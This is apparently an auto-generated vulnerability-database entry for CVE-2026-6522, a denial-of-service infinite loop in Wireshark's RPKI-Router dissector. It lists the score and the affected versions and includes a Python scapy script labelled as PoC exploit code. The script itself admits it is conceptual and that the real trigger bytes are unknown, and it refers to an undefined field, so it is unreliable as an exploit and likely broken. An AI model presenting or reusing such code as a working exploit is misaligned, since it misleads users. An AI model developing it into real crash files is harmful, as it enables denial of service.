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CVE-2026-6522 CVSS 5.5 MEDIUM

CVE-2026-6522

Published: 2026-04-30 07:16:39
Last Modified: 2026-05-01 19:27:29

Description

RPKI-Router protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 至 4.6.4
Wireshark 4.4.0 至 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC Generator for CVE-2026-6522 (Wireshark RPKI-Router Infinite Loop) Description: This script generates a malformed pcap file designed to trigger the infinite loop in the RPKI-Router dissector. Usage: python3 generate_poc.py """ from scapy.all import * import sys # Constructing a malformed RPKI-Router packet (Conceptual) # The specific bytes required to trigger the loop depend on the dissector's logic. # Here we simulate a packet with a length field that causes the parser to loop. class Malformed_RPKI(Packet): name = "Malformed RPKI" fields_desc = [ ByteField("Version", 0), ByteField("PDUType", 0), # A malicious length field that might cause an off-by-one or endless loop FieldLenField("Length", None, length_of="Data", fmt="!I") ] # Create the packet structure # Note: Actual trigger bytes would require reverse engineering the specific vulnerability fix. pkt = IP(dst="127.0.0.1")/TCP(dport=7000)/Malformed_RPKI(Length=0xFFFFFFFF) # Save to pcap file filename = "cve_2026_6522_poc.pcap" wrpcap(filename, pkt) print(f"[+] PoC file generated: {filename}") print(f"[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")

References

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